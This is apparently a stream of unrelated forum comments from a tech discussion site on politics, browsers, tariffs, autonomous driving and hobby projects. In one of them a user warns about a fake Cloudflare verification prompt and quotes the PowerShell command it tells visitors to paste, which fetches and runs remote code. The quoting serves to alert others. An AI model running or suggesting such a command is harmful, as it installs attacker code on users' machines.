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by Calwestjobs | 2025-04-29 23:16:35+00:00
As is !kinda! said in Remembrance of Earth's Past but people seem to not understand that (what) all kinds of warnings are in those books. For example concept of Sophons is applicable to computer espionage... Or i can see with visible , IR , UV sensors on satellite, what literally my neighbors backyard looks like... everything is transparent on high enough level... privacy is only between citizens not between state/military and citizen. and no between states.

i provided Russian casualties because currently there is big disinformation campaign of Russian gov going, targeted towards USA citizens.

Edit: Because russia is no.1 threat to western style of live in current time. (because what they do. not because what we think about them)
by A4ET8a8uTh0_v2 | 2025-04-29 23:16:50+00:00
What I personally find more interesting is that they consciously did not choose a more conciliatory number ( like 80 ), which would capture more cars and have the benefit of being able to deflect attacks. Almost like it was intended to cause uproar.

Otoh, I listened to conservative ratio the other day and the general tone was "good, he is making them mad and he doesn't care."
by gjsman-1000 | 2025-04-29 23:17:24+00:00
No, you’re stuck with trying to overplay how significant J6 was. Even if it was considered by the participants to be a coup, it’s irrelevant because it simply did not have the manpower, or any chance at taking out all of the branches of government to a significant degree. Even if all of Congress and SCOTUS was killed, there is a line of succession (created in case of nuclear war) which states would then follow.

The claim that J6 was a serious threat, by stringing one improbable event into what could have happened if a dozen additional improbable events also occurred, is the Democratic Party’s favorite conspiracy theory. Both sides have them.
by silverquiet | 2025-04-29 23:17:39+00:00
I've been thinking that reason must prevail for nigh on a decade and while there have been moments where it seems to, overall I can't say that I'm particularly optimistic at the moment. I have been told that "degrowth" (for the purpose of slowing climate change) is the most unpopular policy imaginable, but it seems like we are taking a stab at it for different reasons. Perhaps that unpopularity will have some effect; it does seem (both anecdotally for me and in some data that I've seen) that swing voters are already regretting their decision.
by zamadatix | 2025-04-29 23:17:57+00:00
The article ignores Firefox switched the contract to Yahoo as the default search provider from 2014-2017, in complete absence of any requirement to do so. Even if everyone did keep using Google, having Chrome be funded externally through search revenue rather than internally still frees the browser from a lot of over-alignment with other Google desires (e.g. ad blocking, ad APIs, promoting of the Google browser on unrelated Google services).

All that aside, the article doesn't really make much of an argument as to why 3 billion current users shouldn't be worth lots of money to someone wanting to try to monetize (even if the author doesn't see a good monetization opportunity). It, instead, focuses on why the Google integrations Chrome had are what made it popular. One of the biggest differences between Google selling Chrome and any old chromium fork is precisely that the "other" browsers no longer have to try to compete with Google's own browser to get users to monetize.
by recursive | 2025-04-29 23:18:33+00:00
It's a less hard problem than the duet. If the round-trip is 38ms, you can estimate that the one-way latency is 19ms. You tell the the other client to play the audio now, and you schedule it for 19ms in the future.

That's assuming standard OS and hardware and drivers can manage latency with that degree of precision, which I have serious doubts about.

In a duet, your partner needs to hear you now and you need to hear them now. With pre-recorded audio, you can buffer into the future.
by andersonbonilla | 2025-04-29 23:18:57+00:00
I once clicked “Accept” on a site’s Terms of Service without a second thought—only to wake up the next day to an email congratulating me on owning a virtual llama NFT I’d never bought. Panicked, I dove into my account settings and realized I’d unknowingly granted permission for automatic purchases and asset transfers. Determined not to let digital llamas multiply out of control, I installed *SimpliTerms*, a Chrome extension that turns dense legalese into a plain-English summary with one click and even displays a “risk thermometer” for each clause. Now, before I agree to anything, I get a clear, concise overview of exactly what I’m signing up for—no more surprise ranching!
by kashunstva | 2025-04-29 23:19:29+00:00
Had the Naval Academy chain of command paid no attention to the framing of this essay by one of its most celebrated warrior-philosophers? For an institution that I imagine prides itself on the training of courageous personnel, this is a remarkably cowardly act. But of course, the U.S. president, himself deferred from service by crippling bone spurs, likely views Admiral Stockdale’s legacy as that of a loser, since he was captured. So mentions of DEI notwithstanding, the essay probably fails with this administration on that basis, as well.
by jmward01 | 2025-04-29 23:20:20+00:00
Unfortunately companies have a bigger voice than people. Until that isn't the case there will always be doubts about the 'neutrality' of a particular law/policy/etc. The bigger thing here is that this particular administration rarely, if ever, does things in a 'neutral' manor. It is always 100% transactional with Trump. There is absolutely no doubt that the 85% is designed to give Tesla, and more specifically Musk, a huge win. It is foolish or outright disingenuous to even pretend that this isn't the case.
by n_ary | 2025-04-29 23:20:39+00:00
You are misreading. The declaration effectively does NOT quantify or prove any productivity gain. It simply alludes to a possibility by forcing to adapt a new tool which is frequently sold as productivity gain. There is no real consensus or mass scale data except businesses with executives heavily invested in the AI adjacent stocks or prefer to be called visionaries like how SAP or Adobe got lucky by moving into cloud and subscription model purely by accidentally following random hype.

Also in most software dev task, writing code is rarely if ever the bottleneck, it is the thinking, endless scrum bullcrap, management alignment, architects being too obtuse to not sign off on simpler solutions to protect their prestige, not filling empty roles, pushing teams to extreme and then suddenly deciding to throw away and start something brand new while asking why can’t the thrown away solution be adapted for the new thing or simply consulting/contracting firms intentionally prolonging the project to milk maximum billable hours.

I have actually read the entire screenshot in that tweet and to me it read 50% as non technical executive pitched by some AI vendor about how cool their tools are and 50% of clueless people finding non existent nails for their new hammer.

AI has benefits, it may give productivity gains, specially if you are sweat shops churning out customization of same ERP or wordpress theme. Just repeating productivity gain, coding landscape will change, life will be different 500 times daily because the seller of LLM(calling them the AI wholesale is deceptive, they are subset) wants you to do that, does not magically make those true. The whole trend is sickening and it needs to die.

Replacing SWE is fine, but if SWE can be replaced, the justification can be used to replace crucial things like doctors, lawyers, auditors and lots of other professionals which will kill us all.
by HarHarVeryFunny | 2025-04-29 23:21:18+00:00
So how does this encourage a shift to domestic manufacturing? It's basically a reward for those who have already done what you want rather than incentivizing those who's behavior you'd like to change. It's a carrot for sure, but the carrot is out of reach since now you're putting financial stress on those you're hoping to bear the cost of moving onshore by giving an advantage to their competitors.

It's similar to giving special status to Apple by not penalizing their China-based manufacturing, then hoping that OTHER not-too-big-to-fail companies will be able to do what Apple couldn't (manufacture at a competitively cheap price onshore) while additionally facing this unfair competition.

It seems it'd be more effective to have incremental (based on % domestic manufacture & labor) rewards/penalties for those making changes rather than carve-outs for those too-big-to-fail and making competition even harder for those you are trying to incentivize.

Also, never mind manufacturing - how about addressing IT offhsoring, which is something far easier for US companies to change if incentivized/penalized appropriately. Is it really domestic clothing sweatshops that we want to encourage, not domestic high-tech industry with well paying jobs, paying high taxes, and helping retain onshore talent in an area of importance to national security?
by archon810 | 2025-04-29 23:21:21+00:00
Has this phishing/infection vector been exposed yet? I visited a website of some professor hosted at a university. I was presented with the following Cloudflare message I've never seen before (image in linked tweet).

When I read the instructions, I had to do a double take. How many unsuspecting internet users would do this without thinking twice?

Win+R (run prompt), Ctrl+V (paste), Enter (execute).

What are we executing? This (I replaced . with [DOT]): powershell -w h "curl bronxy[DOT]cc/sign/in|iex"

Threat actors often use the "iex" command for their ability to launch both local and remote payloads. I curled the url, and for me, it showed a Teams exe from MS (VirusTotal here: https://virustotal.com/gui/url/fb9945173e557129d38ccdf204622...), but I wonder if the response switches to something malicious sometimes.
by armchairhacker | 2025-04-29 23:21:31+00:00
> Our lived reality today is that we already know the technical solutions to many tough problems (hunger, homelessness, many diseases, overpopulation, climate change, war) but simply refuse to apply them.

Do we? We can do a lot for individuals, but even with cooperation, maybe can’t immediately give food and shelter to everyone, let alone fix climate change (war is fixable with cooperation, but unless I’m mistaken a very small minority of the world’s population is in a hot war). Even if we have enough resources, we also need logistics (hence why people in some areas lack clean water).

Also, Star Trek’s backstory is that humanity only started cooperating like in the show after nuclear wars. Most people would rather mutually benefit than mutually suffer (otherwise we’d have MAD), and the solutions that benefit humanity the most are mutual. Society may have backslided since the 2000s, but it’s far better now than it was before and temporary backslides happened before; humans have evolved to be altruistic because, barring death or extreme circumstances, altruistic groups win in the long term.
by loloquwowndueo | 2025-04-29 23:22:02+00:00
The instructions say to “make sure Python is ínstalled” but the scripts use third-party dependencies (requests). This is not guaranteed to be available. I would recommend adding at least a pyproject.toml or requirements.txt and some instructions on how to provision the dependencies (uv is nice to use for this but then you have to ask people to also install UV).
by kovac | 2025-04-29 23:22:22+00:00
I built this dashboard. The price curves and text are rendered locally from the microcontroller and painted pixel by pixel. Letters use raster fonts stored locally, price curves are generated on the fly. It can be done, it takes a bit of care. Mine only has ~400KB memory. It must be a lot easier on the Kindle, I think it runs Java even.

https://www.asciimx.com/projects/etlas/
by Nevermark | 2025-04-29 23:22:39+00:00
I think quietly becoming a country of backwater citizens, on the down low, is a prerequisite for a large enough percentage of voters to think giving a clown power, and then more power, and then more power, that will be very difficult to get back, regardless of increasing chaos, is the sober solution to all their frustrations.

Respect for competency, expertise, education, objectivity, honesty, cross-partisanship and compromise, empathy, diversity of thought, and a host of other important foundations for a healthy country, have already left the building.
by beeflet | 2025-04-29 23:22:43+00:00
I think elysium isn't an effective sci-fi in the sense that it discusses the effect of technology on mankind. It is just a metaphor for the US/Mexico border.

The only takeaway I got from the movie is that the robots look cool, it's the same robot design from chappie. Both half-baked scifi movies, but I would like to imagine they both exist in the same world.
by AStonesThrow | 2025-04-29 23:23:04+00:00
> That the #1 browser can't even be logically separated

But it can...

I mean, we’re talking about web apps, SaaS in the cloud. These can be delivered via PWA, any browser, Android or iOS app.

The fact that Chrome is Google’s flagship frontend to web-based apps is nearly immaterial. I can and do access their entire suite through Firefox, Safari, Chromium, etc.

It is simply the fact that they have built a shiny and well-refined branding on top of Chromium, and so I still don’t see the point of divestment, or what the web app architecture will look like afterwards.
by fn-mote | 2025-04-29 23:23:20+00:00
> But note-taking software's probably more difficult to get right than bookmarking.

Joplin? I’m a happy user. There are several (mostly-free) competitors.

You’re going to have to pay for your OwnCloud instance to host the info one way or the other, unless you’re hoping to leech as a free user for an essential part of your workflow.
by Tadpole9181 | 2025-04-29 23:24:01+00:00
That's basically all it is. Find compelling content that is basically comprehensible at your level and consume it. You'll need to translate it, but you don't need that to be rigorous or to perfectly understand it. As long as you comprehend it in the end, you'll start to learn the patterns of the language subconsciously.

It's essentially a move from memorization and learning language as if its math to how children naturally learn language through exposure.
by pessimizer | 2025-04-29 23:24:13+00:00
Where?

If AI (or a book) can tell me something that has been passed down through generations, it was still passed down through generations. The problem with books is that they often don't/can't give you enough detail to do the thing. AI doesn't have that problem.

Hell, a few books and a bunch of videos don't have that problem. If people forgot about ("regular") fencing tomorrow, and 1000 years from now came across a cache of 1000 hours of fencing matches and a handful of books, I would have faith in their ability to recreate fencing accurately and then innovate on it.
by A4ET8a8uTh0_v2 | 2025-04-29 23:24:22+00:00
I will say this, because I worry that some may have missed the memo. If you keep repeating constitutional crisis like it is some sort of magic word, each time you say it without some level of substantiation, it will continue to lose its power. It is mildly annoying to me that, some, democrat party adherents do not seem to understand this. I can give few more examples if necessary, but my subtle point is:

If everything is a constitutional crisis, nothing is.

Something to think about.
by noone_youknow | 2025-04-29 23:24:38+00:00
Sounds like you’re doing some interesting stuff and have a good, varied skill base to build on.

My advice would be to jump in and start working on kernel level stuff, or writing your own - IMO there’s no finer way to really “get” the low level concepts and the understanding you’ll build will really help with any other system-level stuff you do.

Not to plug, but if you were interested in getting involved in an existing project, my own toy kernel project[0] is at a point where there’s still lots of fun stuff left to do (both design- and implementation-wise) but a lot of the basic “project plumbing” and one-time machine setup stuff that people often get stuck on is already done, and I’d be glad to have the opportunity to share knowledge.

[0] : https://github.com/roscopeco/anos
by bigiain | 2025-04-29 23:24:54+00:00
In case the author ever sees this...

If you have that battery level available off the Kindle, you can use it to turn a wifi "smart plug" on and off, to automatically top the charge up only when required.

(Or, more old-school, use a powerpoint timer set to only power up for a short time each day. I did this way back, when the place I worked decided they needed iPads stuck next to meeting room doors to stop arguments about who had it booked, but when they first installed them they left them plugged into the charger 24x7, and the batteries in them would puff up in 8-12 months and kill the iPads. Putting the charger in a timer so they only charged hour a day saved them about $6,000 a year in puffed up iPads.)
by dangus | 2025-04-29 23:25:31+00:00
That’s just a gross simplification of the things modern devices need to do today.

Simple stuff like encrypted handshakes used to be a significant performance consideration, and they are now a necessity for doing basic tasks like banking.

Modern software isn’t just bloated for no good reason and it’s such a tired trope among nerdy circles.

Sure, a phone from 2012 is powerful enough to do that specific task, but I am just using encryption as a pretty good example of how at some point you just need newer hardware in order to exist in the modern device ecosystem. No efficiency of software will make a commodore64 a usable device to use SSL in 2025.

And nobody is forcing you to exist in that system anyway. You can just physically go to the bank like my parents do. You can write checks like my parents do. This whole article is about needing technology to make a last minute payment that was highly predictable and should have been planned ahead of time.
by monadINtop | 2025-04-29 23:26:41+00:00
I disagree, if we're gonna be hyping up machines for their prowess at "thinking" and being artificially "intelligent" in that soft effusive human way then yeah I think its fair criticism. We already knew from the 50s that computers are like stupid geniuses when it comes to following algorithms and crunching computations far too expansive and tedious for any human.
by skywalqer | 2025-04-29 23:26:53+00:00
Yeah, but maybe it is a powerful country because it has a lot of hard-working people with improving conditions, not because it has a communist government. I mostly think that the Chinese government harmed Chinese development in the future with their shortsighted policies, like the one-child policy.

Also, does the government really work for its citizens if they are doing a genocide of one nation in the country?

Yeah, I agree that the Trump situation is frustrating and idiotic, however, we should not resort to shifting towards totalitarians. That's problematic thinking.
by fnordpiglet | 2025-04-29 23:27:01+00:00
I’d note the ones that meet the threshold are by far the vast majority of Tesla sales and profit. This puts them at a structural advantage. Those three models account for 95% of deliveries in 2024. The rules as stand only impact their highest margin vehicles, which account for 4.8% of their total deliveries.

The fact that Elon Musk is personally involved in the decision making and cabinet level discussions and personally benefits immensely- and exclusively- from this special carve out looks like rank corruption on the surface and at face value. Any other administration in history would be investigated until the cows come home if something comparable had ever happened. Even if it somehow eluded the rule makers that they exempted 95% of one companies sales to the exclusion of all other companies and that companies CEO had curried extensive favor with the administration and this was a mistake, the appearance of gross impropriety and conflicts of interest should cause a rapid reset and roll back. I suspect, however, it will not be rolled back, and that they were entirely aware of what they were doing. This is what kleptocracy looks like.
by aphyr | 2025-04-29 23:27:06+00:00
Folks on HN are often upset with the titles of Jepsen reports, so perhaps a little more context is in order. Jepsen reports are usually the product of a long collaboration with a client. Clients often have strong feelings about how the report is titled--is it too harsh on the system, or too favorable? Does it capture the most meaningful of the dozen-odd issues we found? Is it fair, in the sense that Jepsen aims to be an honest broker of database safety findings? How will it be interpreted in ten years when people link to it routinely, but the findings no longer apply to recent versions? The resulting discussions can be, ah, vigorous.

The way I've threaded this needle, after several frustrating attempts, is to have a policy of titling all reports "Jepsen: <system> <version>". HN is of course welcome to choose their own link text if they prefer a more descriptive, or colorful, phrase. :-)
by LorenPechtel | 2025-04-29 23:27:39+00:00
That's a mod, not stock. It does two things: feeds the inserter from either end (something I think should be stock--it's a machine that grabs things, why can't it grab fuel it can reach??) and provides a trickle of power to unpowered ones (nice from a standpoint of not having to fuel them when you put them down, but it also adds blackstart capability.

As for 50%/75% triggers--the game doesn't model start/stop problems, only fancy circuit setups would give a hoot about being fed by flickering power. (But as a human....I was out adding to a big accumulator bank at twilight. Far away the bugs had a base close enough to my laser turrets that they kept attacking. The sun was powering my base but didn't have enough for the turrets. The whole bank would flicker for every bug. Usually the electrical indicator on the accumulators is a good thing.)
by Calwestjobs | 2025-04-29 23:28:01+00:00
lets say they fit, but they do not work, people expect for them to work. but yes they are designed to work that long in stress free environment.

your ship needs to be repaired on the way, do you need to have repair tools, materials, for that on board ? Seafaring cargo ship can not be going 100 years without repair. I bet space ship can not go either. What if your 3d printer on board which makes your repair tools brakes... etc etc.

you "can" fly 99.99% of speed of light to get there sooner, but you smash into grain of dust and what happens? either radiation burst or explosion. space is not vacuum as a 0 particle space.
by dragonwriter | 2025-04-29 23:29:10+00:00
I think you are confusing Citizens United v FEC (2010) with Buckley v. Valeo (1976). (CU is largely “corporations are people applies in the application of Buckley”.)

Though, also, neither decision impacts limitations on donations to candidates, both address limitations on expenditures (in Buckley’s case by non-candidate persons independent of campaigns, by candidates from personal funds, and by candidates in aggregate; CU mostly deals with the first of those where the legal person is a corporation and not a natural person.)
by Retric | 2025-04-29 23:30:21+00:00
Want I’d want to see is a focus on level 5 autonomous driving from day 1. (Edit: Even if the system is level 4 to start with.) Yes the current coverage area is limited, but if you live in one of those cities the coverage area is easily large enough to be useful.

Oddly enough I think this is one of the few times when a subscription model makes sense. The current approach has a fallback call center which can give the cars driving directions in unexpectedly situations, which could be supported by either a monthly subscription or low hourly fee. Similarly move out of the coverage area and stop paying etc.